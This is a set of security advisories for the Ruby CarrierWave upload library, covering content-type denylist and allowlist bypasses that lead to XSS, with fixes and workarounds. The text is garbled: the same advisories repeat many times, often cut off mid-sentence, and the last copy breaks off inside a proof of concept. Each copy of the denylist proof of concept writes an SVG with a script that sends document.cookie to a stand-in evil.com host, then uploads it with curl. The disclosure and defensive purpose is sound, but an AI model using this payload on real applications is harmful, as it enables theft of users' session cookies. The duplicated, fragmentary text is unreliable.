Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Impact

The vulnerability CVE-2023-49090 wasn't fully addressed.

This vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by content_type_allowlist, by providing multiple values separated by commas.

This bypassed value can be used to cause XSS.

Patches

Upgrade to 3.0.7 or 2.2.6.

Workarounds

Use the following monkey patch to let CarrierWave parse the Content-type by using Marcel::MimeType.for.

# For CarrierWave 3.x
CarrierWave::SanitizedFile.class_eval do
  def declared_content_type
    @declared_content_type ||
      if @file.respond_to?(:content_type) && @file.content_type
        Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
      end
  end
end

# For CarrierWave 2.x
CarrierWave::SanitizedFile.class_eval do
  def existing_content_type
    if @file.respond_to?(:content_type) && @file.content_type
      Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
    end
  end
end

References

OWASP - File Upload Cheat Sheet

Impact

CarrierWave::Uploader::ContentTypeAllowlist has a Content-Type allowlist bypass vulnerability, possibly leading to XSS.

The validation in allowlisted_content_type? determines Content-Type permissions by performing a partial match. If the content_type argument of allowlisted_content_type? is passed a value crafted by the attacker, Content-Types not included in the content_type_allowlist will be allowed.

In addition, by setting the Content-Type configured by the attacker at the time of file delivery, it is possible to cause XSS on the user's browser when the uploaded file is opened.

Patches

Upgrade to 3.0.5 or 2.2.5.

Workarounds

When validating with allowlisted_content_type? in CarrierWave::Uploader::ContentTypeAllowlist , forward match(\A) the Content-Type set in content_type_allowlist, preventing unintentional permission of text/html;image/png when you want to allow only image/png in content_type_allowlist.

References

OWASP - File Upload Cheat Sheet

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Impact

The vulnerability CVE-2023-49090 wasn't fully addressed.

This vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by content_type_allowlist, by providing multiple values separated by commas.

This bypassed value can be used to cause XSS.

Patches

Upgrade to 3.0.7 or 2.2.6.

Workarounds

Use the following monkey patch to let CarrierWave parse the Content-type by using Marcel::MimeType.for.

# For CarrierWave 3.x
CarrierWave::SanitizedFile.class_eval do
  def declared_content_type
    @declared_content_type ||
      if @file.respond_to?(:content_type) && @file.content_type
        Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
      end
  end
end

# For CarrierWave 2.x
CarrierWave::SanitizedFile.class_eval do
  def existing_content_type
    if @file.respond_to?(:content_type) && @file.content_type
      Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
    end
  end
end

References

OWASP - File Upload Cheat Sheet

Impact

CarrierWave::Uploader::ContentTypeAllowlist has a Content-Type allowlist bypass vulnerability, possibly leading to XSS.

The validation in allowlisted_content_type? determines Content-Type permissions by performing a partial match. If the content_type argument of allowlisted_content_type? is passed a value crafted by the attacker, Content-Types not included in the content_type_allowlist will be allowed.

In addition, by setting the Content-Type configured by the attacker at the time of file delivery, it is possible to cause XSS on the user's browser when the uploaded file is opened.

Patches

Upgrade to 3.0.5 or 2.2.5.

Workarounds

When validating with allowlisted_content_type? in CarrierWave::Uploader::ContentTypeAllowlist , forward match(\A) the Content-Type set in content_type_allowlist, preventing unintentional permission of text/html;image/png when you want to allow only image/png in content_type_allowlist.

References

OWASP - File Upload Cheat Sheet

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Impact

The vulnerability CVE-2023-49090 wasn't fully addressed.

This vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by content_type_allowlist, by providing multiple values separated by commas.

This bypassed value can be used to cause XSS.

Patches

Upgrade to 3.0.7 or 2.2.6.

Workarounds

Use the following monkey patch to let CarrierWave parse the Content-type by using Marcel::MimeType.for.

# For CarrierWave 3.x
CarrierWave::SanitizedFile.class_eval do
  def declared_content_type
    @declared_content_type ||
      if @file.respond_to?(:content_type) && @file.content_type
        Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
      end
  end
end

# For CarrierWave 2.x
CarrierWave::SanitizedFile.class_eval do
  def existing_content_type
    if @file.respond_to?(:content_type) && @file.content_type
      Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
    end
  end
end

References

OWASP - File Upload Cheat Sheet

Impact

CarrierWave::Uploader::ContentTypeAllowlist has a Content-Type allowlist bypass vulnerability, possibly leading to XSS.

The validation in allowlisted_content_type? determines Content-Type permissions by performing a partial match. If the content_type argument of allowlisted_content_type? is passed a value crafted by the attacker, Content-Types not included in the content_type_allowlist will be allowed.

In addition, by setting the Content-Type configured by the attacker at the time of file delivery, it is possible to cause XSS on the user's browser when the uploaded file is opened.

Patches

Upgrade to 3.0.5 or 2.2.5.

Workarounds

When validating with allowlisted_content_type? in CarrierWave::Uploader::ContentTypeAllowlist , forward match(\A) the Content-Type set in content_type_allowlist, preventing unintentional permission of text/html;image/png when you want to allow only image/png in content_type_allowlist.

References

OWASP - File Upload Cheat Sheet

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Impact

The vulnerability CVE-2023-49090 wasn't fully addressed.

This vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by content_type_allowlist, by providing multiple values separated by commas.

This bypassed value can be used to cause XSS.

Patches

Upgrade to 3.0.7 or 2.2.6.

Workarounds

Use the following monkey patch to let CarrierWave parse the Content-type by using Marcel::MimeType.for.

# For CarrierWave 3.x
CarrierWave::SanitizedFile.class_eval do
  def declared_content_type
    @declared_content_type ||
      if @file.respond_to?(:content_type) && @file.content_type
        Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
      end
  end
end

# For CarrierWave 2.x
CarrierWave::SanitizedFile.class_eval do
  def existing_content_type
    if @file.respond_to?(:content_type) && @file.content_type
      Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
    end
  end
end

References

OWASP - File Upload Cheat Sheet

Impact

CarrierWave::Uploader::ContentTypeAllowlist has a Content-Type allowlist bypass vulnerability, possibly leading to XSS.

The validation in allowlisted_content_type? determines Content-Type permissions by performing a partial match. If the content_type argument of allowlisted_content_type? is passed a value crafted by the attacker, Content-Types not included in the content_type_allowlist will be allowed.

In addition, by setting the Content-Type configured by the attacker at the time of file delivery, it is possible to cause XSS on the user's browser when the uploaded file is opened.

Patches

Upgrade to 3.0.5 or 2.2.5.

Workarounds

When validating with allowlisted_content_type? in CarrierWave::Uploader::ContentTypeAllowlist , forward match(\A) the Content-Type set in content_type_allowlist, preventing unintentional permission of text/html;image/png when you want to allow only image/png in content_type_allowlist.

References

OWASP - File Upload Cheat Sheet

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Impact

The vulnerability CVE-2023-49090 wasn't fully addressed.

This vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by content_type_allowlist, by providing multiple values separated by commas.

This bypassed value can be used to cause XSS.

Patches

Upgrade to 3.0.7 or 2.2.6.

Workarounds

Use the following monkey patch to let CarrierWave parse the Content-type by using Marcel::MimeType.for.

# For CarrierWave 3.x
CarrierWave::SanitizedFile.class_eval do
  def declared_content_type
    @declared_content_type ||
      if @file.respond_to?(:content_type) && @file.content_type
        Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
      end
  end
end

# For CarrierWave 2.x
CarrierWave::SanitizedFile.class_eval do
  def existing_content_type
    if @file.respond_to?(:content_type) && @file.content_type
      Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
    end
  end
end

References

OWASP - File Upload Cheat Sheet

Impact

CarrierWave::Uploader::ContentTypeAllowlist has a Content-Type allowlist bypass vulnerability, possibly leading to XSS.

The validation in allowlisted_content_type? determines Content-Type permissions by performing a partial match. If the content_type argument of allowlisted_content_type? is passed a value crafted by the attacker, Content-Types not included in the content_type_allowlist will be allowed.

In addition, by setting the Content-Type configured by the attacker at the time of file delivery, it is possible to cause XSS on the user's browser when the uploaded file is opened.

Patches

Upgrade to 3.0.5 or 2.2.5.

Workarounds

When validating with allowlisted_content_type? in CarrierWave::Uploader::ContentTypeAllowlist , forward match(\A) the Content-Type set in content_type_allowlist, preventing unintentional permission of text/html;image/png when you want to allow only image/png in content_type_allowlist.

References

OWASP - File Upload Cheat Sheet

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Impact

The vulnerability CVE-2023-49090 wasn't fully addressed.

This vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by content_type_allowlist, by providing multiple values separated by commas.

This bypassed value can be used to cause XSS.

Patches

Upgrade to 3.0.7 or 2.2.6.

Workarounds

Use the following monkey patch to let CarrierWave parse the Content-type by using Marcel::MimeType.for.

# For CarrierWave 3.x
CarrierWave::SanitizedFile.class_eval do
  def declared_content_type
    @declared_content_type ||
      if @file.respond_to?(:content_type) && @file.content_type
        Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
      end
  end
end

# For CarrierWave 2.x
CarrierWave::SanitizedFile.class_eval do
  def existing_content_type
    if @file.respond_to?(:content_type) && @file.content_type
      Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
    end
  end
end

References

OWASP - File Upload Cheat Sheet

Impact

CarrierWave::Uploader::ContentTypeAllowlist has a Content-Type allowlist bypass vulnerability, possibly leading to XSS.

The validation in allowlisted_content_type? determines Content-Type permissions by performing a partial match. If the content_type argument of allowlisted_content_type? is passed a value crafted by the attacker, Content-Types not included in the content_type_allowlist will be allowed.

In addition, by setting the Content-Type configured by the attacker at the time of file delivery, it is possible to cause XSS on the user's browser when the uploaded file is opened.

Patches

Upgrade to 3.0.5 or 2.2.5.

Workarounds

When validating with allowlisted_content_type? in CarrierWave::Uploader::ContentTypeAllowlist , forward match(\A) the Content-Type set in content_type_allowlist, preventing unintentional permission of text/html;image/png when you want to allow only image/png in content_type_allowlist.

References

OWASP - File Upload Cheat Sheet

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
